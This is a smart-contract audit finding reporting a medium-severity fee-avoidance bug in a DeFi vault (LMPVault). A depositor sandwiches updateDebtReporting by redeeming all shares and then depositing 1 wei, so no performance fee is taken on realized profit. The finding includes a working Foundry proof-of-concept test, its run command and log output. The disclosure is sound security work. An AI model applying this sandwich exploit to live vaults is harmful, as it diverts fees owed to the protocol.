Wonderful Sage Goldfish

medium

# Early Depositers Can Steal performance fees by sandwiching updateDebtReporting
## Summary
LmpVault only mints fee shares if totalSupply > 0. Early depositer can take advantage of that to steal the funds that should have gone to protcol.

## Vulnerability Detail
```solidity
File: LMPVault.sol
806:         // If there's no supply then there should be no assets and so nothing
807:         // to actually take fees on
808:         if (totalSupply == 0) {
809:             return;
810:         }
```
POC - 
1. Alice deposits 1000 assets in LMPVault, rebalancing happens and 500 base assets are converted to underlyerOne and sent to destVault1.
2. The destVault1 earn some profit, but before updateDebtReporting is called, alice redeems all her shares making the totalSupply =0
3. Now the original updateDebtReporting is called and profit is realized but no shares minted to feeSink. 
4. Now alice can backrun this txn by depositing 1 wei and withdrawing to get all the realized profit while avoiding the fees.
Working POC
```solidity
function test_earlyDepositers() public {
    _accessController.grantRole(Roles.SOLVER_ROLE, address(this));
    _accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this));

    //Setting the fees 
    address feeSink = vm.addr(555);
    _lmpVault.setFeeSink(feeSink);
    _lmpVault.setPerformanceFeeBps(2000); // 20%
    //deposits
    uint amt = 1000;
    uint rebalanceAmt = amt /2;
    address alice = address(789);
    _asset.mint(alice,amt);
    vm.startPrank(alice);
    _asset.approve(address(_lmpVault),amt +1);
    uint shares = _lmpVault.deposit(amt, alice);
    vm.stopPrank();

    //rebalance happens
    _underlyerOne.mint(address(this), rebalanceAmt/2);
    _underlyerOne.approve(address(_lmpVault), rebalanceAmt/2);
    _lmpVault.rebalance(
    address(_destVaultOne),
    address(_underlyerOne),
    rebalanceAmt/2,
    address(0),
    address(_asset),
    rebalanceAmt
    );

    // profit happens 
    _mockRootPrice(address(_underlyerOne), 2.5 ether);
    //but alice front runs the updateDebtReporting & withdraws

    vm.startPrank(alice);
    _lmpVault.redeem(shares,alice,alice);
    vm.stopPrank();
    // updateDebtReporting
    _lmpVault.updateDebtReporting(_destinations);

    //now backrun it by deposit 1 wei
    vm.startPrank(alice);
    uint shares2=_lmpVault.deposit(1,alice);
    _lmpVault.redeem(shares2,alice,alice);
    vm.stopPrank();

    assertEq(_lmpVault.balanceOf(feeSink),0); ///@audit < 0 shares minted even though in profit
    assertEq(_lmpVault.totalAssets(),0);
    emit log_named_uint("alice final balance", _asset.balanceOf(alice));
}
```
add it to LMPVault-Withdraw.t.sol under LMPVaultMintingTests & run it using 
```solidity
forge test --match-path ./test/vault/LMPVault-Withdraw.t.sol --match-test test_earlyDepositers -vv
```
Logs:
  alice final balance: 1125
## Impact
Loss of fees for protocol

## Code Snippet
https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L808-L810
## Tool used

Manual Review

## Recommendation
Make sure to deploy vaults with some assets minted.